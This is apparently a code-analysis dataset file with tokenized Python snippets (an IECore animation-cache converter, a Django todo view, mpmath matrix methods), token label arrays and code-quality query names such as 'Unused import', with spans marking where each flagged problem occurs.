"\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "any", " ", "other", " ", "contributor", "s", " ", "to", " ", "this", " ", "software", " ", "may", " ", "be", " ", "used", " ", "to", " ", "endo", "rse", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "promote", " ", "products", " ", "derive", "d", " ", "from", " ", "this", " ", "software", " ", "with", "out", " ", "specific", " ", "prior_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "writt", "en", " ", "permissi", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "IS", "\"", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "THE", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PUR", "POS", "E", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "OWNER", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "glob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "IE", "Core_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "IE", "Core_", "._", "register", "Run", "Time", "Type", "d_", "(_", "convert", "Anim", "Cache_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "convert", "Anim", "Cache_", "(_", "IE", "Core_", "._", "Op_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "convert", "Anim", "Cache_", "(_", "IE", "Core_", "._", "Op_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "IE", "Core_", "._", "Op_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "\"", "Convert", "s", " ", "animati", "on", " ", "cache", "s", " ", "from", " ", "an", " ", "old", " ", "sko", "ol", " ", "format", " ", "to", " ", "a", " ", "nice", " ", "new", " ", "one", ".\"_", ",_", "IE", "Core_", "._", "File", "Sequ", "ence", "Parameter_", "(_", "\"", "result", "\"_", ",_", "\"\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "parameters_", "(_", ")_", "._", "add", "Parameters_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "File", "Sequ", "ence", "Parameter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "input", "Sequ", "ence", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "The", " ", "animati", "on", " ", "sequence", " ", "to", " ", "convert", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default", "Value_", "=_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "allow", "Emp", "ty", "String_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "=_", "IE", "Core_", "._", "File", "Sequ", "ence", "Parameter_", "._", "Check", "Type_", "._", "Mus", "t", "Exist_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "extensions_", "=_", "\"", "fio", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "File", "Sequ", "ence", "Parameter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "output", "Sequ", "ence", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "The", " ", "animati", "on", " ", "sequence", " ", "to", " ", "create", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default", "Value_", "=_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "allow", "Emp", "ty", "String_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "extensions_", "=_", "\"", "fio", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "convert", "Anim", "Cache_", "(_", "IE", "Core_", "._", "Op_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "Operation_", "(_", "self_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "src_", "=_", "self_", "._", "parameters_", "(_", ")_", "[_", "\"", "input", "Sequ", "ence", "\"_", "]_", "._", "get", "File", "Sequ", "ence", "Value_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dst_", "=_", "self_", "._", "parameters_", "(_", ")_", "[_", "\"", "output", "Sequ", "ence", "\"_", "]_", "._", "get", "File", "Sequ", "ence", "Value_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "no", " ", "frame", " ", "list", " ", "is", " ", "specified", " ", "on", " ", "the", " ", "dst", " ", "parameter", ",", " ", "then", " ", "we", " ", "use", " ", "the", " ", "same", " ", "as", " ", "src", " ", "parameter", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "dst_", "._", "frame", "List_", ",_", "IE", "Core_", "._", "Emp", "ty", "Frame", "List_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "dst_", "._", "frame", "List_", "=_", "src_", "._", "frame", "List_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "(_", "sf_", ",_", "df_", ")_", "in_", "zip_", "(_", "src_", "._", "file", "Names_", "(_", ")_", ",_", "dst_", "._", "file", "Names_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "sc_", "=_", "IE", "Core_", "._", "Attribute", "Cache_", "(_", "sf_", ",_", "IE", "Core_", "._", "Indexe", "d", "IO", "Open", "Mode_", "._", "Read_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dc_", "=_", "IE", "Core_", "._", "Attribute", "Cache_", "(_", "df_", ",_", "IE", "Core_", "._", "Indexe", "d", "IO", "Open", "Mode_", "._", "Write_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "combin", "ed", "Bound_", "=_", "IE", "Core_", "._", "Box", "3f", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "object", "Name_", "in_", "sc_", "._", "objects_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "p_", "=_", "b_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "IE", "Core_", "._", "Ignor", "ed", "Exceptions_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "p_", "=_", "sc_", "._", "read_", "(_", "object", "Name_", ",_", "\"", "vert", "Cache", ".", "P", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "sc_", "._", "read_", "(_", "object", "Name_", ",_", "\"", "vert", "Cache", ".", "bound", "ing", "Box", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "p_", "is_", "not_", "None_", "and_", "b_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "combin", "ed", "Bound_", "._", "extend", "By_", "(_", "b_", "._", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dc_", "._", "write_", "(_", "\"-\"_", "+_", "object", "Name_", ",_", "\"", "prim", "Var", ":", "P", "\"_", ",_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dc_", "._", "write_", "(_", "\"-\"_", "+_", "object", "Name_", ",_", "\"", "bound", "\"_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dc_", "._", "write_", "(_", "\"-\"_", ",_", "\"", "bound", "\"_", ",_", "IE", "Core_", "._", "Box", "3f", "Data_", "(_", "combin", "ed", "Bound_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "args_", "[_", "\"", "output", "Sequ", "ence", "\"_", "]_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
darcyliu/storyboard/todo/views.py
[ { "content": "#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\nviews.py\n\nCreated by Darcy Liu on 2012-03-03.\nCopyright (c) 2012 Close To U. All rights reserved.\n\"\"\"\nimport logging\nfrom django.views.generic import TemplateView\nfrom django.views.generic import ListView\nfrom django.views.generic import DetailView\n\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth.decorators import login_required\n\nfrom models import *\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TodoEntryListView(ListView):\n\tcontext_object_name = \"entries\"\n\ttemplate_name = \"todo/todo.html\"", "metadata": "root.TodoEntryListView", "header": "['module', '___EOS___']", "index": 18 }, { "content": "\tdef get_queryset(self):\n\t\tentries = Task.objects.all()\n\t\treturn entries", "metadata": "root.TodoEntryListView.get_queryset", "header": "['class', 'TodoEntryListView', '(', 'ListView', ')', ':', '___EOS___']", "index": 21 }, { "content": "\t@method_decorator(login_required)\n\tdef dispatch(self, request, *args, **kwargs): \n\t\treturn super(ListView, self).dispatch(request, *args, **kwargs)", "metadata": "root.TodoEntryListView.dispatch", "header": "['class', 'TodoEntryListView', '(', 'ListView', ')', ':', '___EOS___']", "index": 24 } ]
[ { "span": "import logging", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 14 }, { "span": "from django.views.generic import TemplateView", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 45 }, { "span": "from django.views.generic import DetailView", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 43 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "encoding", ":", " ", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "views", ".", "py", "\\", "10", ";", "\\", "10", ";", "Creat", "ed", " ", "by", " ", "Dar", "cy", " ", "Li", "u", " ", "on", " ", "2012", "-0", "3", "-0", "3", ".", "\\", "10", ";", "Copy", "right", " ", "(", "c", ")", " ", "2012", " ", "Clos", "e", " ", "To", " ", "U", ".", " ", "All", " ", "rights", " ", "reserve", "d", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "import_", "Templa", "te", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "import_", "List", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "import_", "Det", "ail", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "decorators_", "import_", "method", "\\u", "decorator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "decorators_", "import_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "models_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Todo", "Entr", "y", "List", "View_", "(_", "List", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "context", "\\u", "object\\u", "name_", "=_", "\"", "entri", "es", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template", "\\u", "name_", "=_", "\"", "todo", "/", "todo", ".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Todo", "Entr", "y", "List", "View_", "(_", "List", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "queryset_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "entries_", "=_", "Task_", "._", "objects_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "entries_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Todo", "Entr", "y", "List", "View_", "(_", "List", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "method", "\\u", "decorator_", "(_", "login", "\\u", "required_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "dispatch_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "super_", "(_", "List", "View_", ",_", "self_", ")_", "._", "dispatch_", "(_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
First parameter of a method is not named 'self'
fredrik-johansson/mpmath/mpmath/matrices/matrices.py
[ { "content": " def __init__(ctx):\n # XXX: subclass\n ctx.matrix = type('matrix', (_matrix,), {})\n ctx.matrix.ctx = ctx\n ctx.matrix.convert = ctx.convert", "metadata": "root.MatrixMethods.__init__", "header": "['class', 'MatrixMethods', '(', 'object', ')', ':', '___EOS___']", "index": 736 }, { "content": " def eye(ctx, n, **kwargs):\n \"\"\"\n Create square identity matrix n x n.\n \"\"\"\n A = ctx.matrix(n, **kwargs)\n for i in xrange(n):\n A[i,i] = 1\n return A", "metadata": "root.MatrixMethods.eye", "header": "['class', 'MatrixMethods', '(', 'object', ')', ':', '___EOS___']", "index": 742 }, { "content": " def diag(ctx, diagonal, **kwargs):\n \"\"\"\n Create square diagonal matrix using given list.\n\n Example:\n >>> from mpmath import diag, mp\n >>> mp.pretty = False\n >>> diag([1, 2, 3])\n matrix(\n [['1.0', '0.0', '0.0'],\n ['0.0', '2.0', '0.0'],\n ['0.0', '0.0', '3.0']])\n \"\"\"\n A = ctx.matrix(len(diagonal), **kwargs)\n for i in xrange(len(diagonal)):\n A[i,i] = diagonal[i]\n return A", "metadata": "root.MatrixMethods.diag", "header": "['class', 'MatrixMethods', '(', 'object', ')', ':', '___EOS___']", "index": 751 }, { "content": " def hilbert(ctx, m, n=None):\n \"\"\"\n Create (pseudo) hilbert matrix m x n.\n One given dimension will create hilbert matrix n x n.\n\n The matrix is very ill-conditioned and symmetric, positive definite if\n square.\n \"\"\"\n if n is None:\n n = m\n A = ctx.matrix(m, n)\n for i in xrange(m):\n for j in xrange(n):\n A[i,j] = ctx.one / (i + j + 1)\n return A", "metadata": "root.MatrixMethods.hilbert", "header": "['class', 'MatrixMethods', '(', 'object', ')', ':', '___EOS___']", "index": 821 }, { "content": " def randmatrix(ctx, m, n=None, min=0, max=1, **kwargs):\n \"\"\"\n Create a random m x n matrix.\n\n All values are >= min and <max.\n n defaults to m.\n\n Example:\n >>> from mpmath import randmatrix\n >>> randmatrix(2) # doctest:+SKIP\n matrix(\n [['0.53491598236191806', '0.57195669543302752'],\n ['0.85589992269513615', '0.82444367501382143']])\n \"\"\"\n if not n:\n n = m\n A = ctx.matrix(m, n, **kwargs)\n for i in xrange(m):\n for j in xrange(n):\n A[i,j] = ctx.rand() * (max - min) + min\n return A", "metadata": "root.MatrixMethods.randmatrix", "header": "['class', 'MatrixMethods', '(', 'object', ')', ':', '___EOS___']", "index": 837 }, { "content": " def swap_row(ctx, A, i, j):\n \"\"\"\n Swap row i with row j.\n \"\"\"\n if i == j:\n return\n if isinstance(A, ctx.matrix):\n for k in xrange(A.cols):\n A[i,k], A[j,k] = A[j,k], A[i,k]\n elif isinstance(A, list):\n A[i], A[j] = A[j], A[i]\n else:\n raise TypeError('could not interpret type')", "metadata": "root.MatrixMethods.swap_row", "header": "['class', 'MatrixMethods', '(', 'object', ')', ':', '___EOS___']", "index": 859 }, { "content": " def extend(ctx, A, b):\n \"\"\"\n Extend matrix A with column b and return result.\n \"\"\"\n if not isinstance(A, ctx.matrix):\n raise TypeError(\"A should be a type of ctx.matrix\")\n if A.rows != len(b):\n raise ValueError(\"Value should be equal to len(b)\")\n A = A.copy()\n A.cols += 1\n for i in xrange(A.rows):\n A[i, A.cols-1] = b[i]\n return A", "metadata": "root.MatrixMethods.extend", "header": "['class', 'MatrixMethods', '(', 'object', ')', ':', '___EOS___']", "index": 873 }, { "content": " def norm(ctx, x, p=2):\n r\"\"\"\n Gives the entrywise `p`-norm of an iterable *x*, i.e. the vector norm\n `\\left(\\sum_k |x_k|^p\\right)^{1/p}`, for any given `1 \\le p \\le \\infty`.\n\n Special cases:\n\n If *x* is not iterable, this just returns ``absmax(x)``.\n\n ``p=1`` gives the sum of absolute values.\n\n ``p=2`` is the standard Euclidean vector norm.\n\n ``p=inf`` gives the magnitude of the largest element.\n\n For *x* a matrix, ``p=2`` is the Frobenius norm.\n For operator matrix norms, use :func:`~mpmath.mnorm` instead.\n\n You can use the string 'inf' as well as float('inf') or mpf('inf')\n to specify the infinity norm.\n\n **Examples**\n\n >>> from mpmath import *\n >>> mp.dps = 15; mp.pretty = False\n >>> x = matrix([-10, 2, 100])\n >>> norm(x, 1)\n mpf('112.0')\n >>> norm(x, 2)\n mpf('100.5186549850325')\n >>> norm(x, inf)\n mpf('100.0')\n\n \"\"\"\n try:\n iter(x)\n except TypeError:\n return ctx.absmax(x)\n if type(p) is not int:\n p = ctx.convert(p)\n if p == ctx.inf:\n return max(ctx.absmax(i) for i in x)\n elif p == 1:\n return ctx.fsum(x, absolute=1)\n elif p == 2:\n return ctx.sqrt(ctx.fsum(x, absolute=1, squared=1))\n elif p > 1:\n return ctx.nthroot(ctx.fsum(abs(i)**p for i in x), p)\n else:\n raise ValueError('p has to be >= 1')", "metadata": "root.MatrixMethods.norm", "header": "['class', 'MatrixMethods', '(', 'object', ')', ':', '___EOS___']", "index": 887 }, { "content": " def mnorm(ctx, A, p=1):\n r\"\"\"\n Gives the matrix (operator) `p`-norm of A. Currently ``p=1`` and ``p=inf``\n are supported:\n\n ``p=1`` gives the 1-norm (maximal column sum)\n\n ``p=inf`` gives the `\\infty`-norm (maximal row sum).\n You can use the string 'inf' as well as float('inf') or mpf('inf')\n\n ``p=2`` (not implemented) for a square matrix is the usual spectral\n matrix norm, i.e. the largest singular value.\n\n ``p='f'`` (or 'F', 'fro', 'Frobenius, 'frobenius') gives the\n Frobenius norm, which is the elementwise 2-norm. The Frobenius norm is an\n approximation of the spectral norm and satisfies\n\n .. math ::\n\n \\frac{1}{\\sqrt{\\mathrm{rank}(A)}} \\|A\\|_F \\le \\|A\\|_2 \\le \\|A\\|_F\n\n The Frobenius norm lacks some mathematical properties that might\n be expected of a norm.\n\n For general elementwise `p`-norms, use :func:`~mpmath.norm` instead.\n\n **Examples**\n\n >>> from mpmath import *\n >>> mp.dps = 15; mp.pretty = False\n >>> A = matrix([[1, -1000], [100, 50]])\n >>> mnorm(A, 1)\n mpf('1050.0')\n >>> mnorm(A, inf)\n mpf('1001.0')\n >>> mnorm(A, 'F')\n mpf('1006.2310867787777')\n\n \"\"\"\n A = ctx.matrix(A)\n if type(p) is not int:\n if type(p) is str and 'frobenius'.startswith(p.lower()):\n return ctx.norm(A, 2)\n p = ctx.convert(p)\n m, n = A.rows, A.cols\n if p == 1:\n return max(ctx.fsum((A[i,j] for i in xrange(m)), absolute=1) for j in xrange(n))\n elif p == ctx.inf:\n return max(ctx.fsum((A[i,j] for j in xrange(n)), absolute=1) for i in xrange(m))\n else:\n raise NotImplementedError(\"matrix 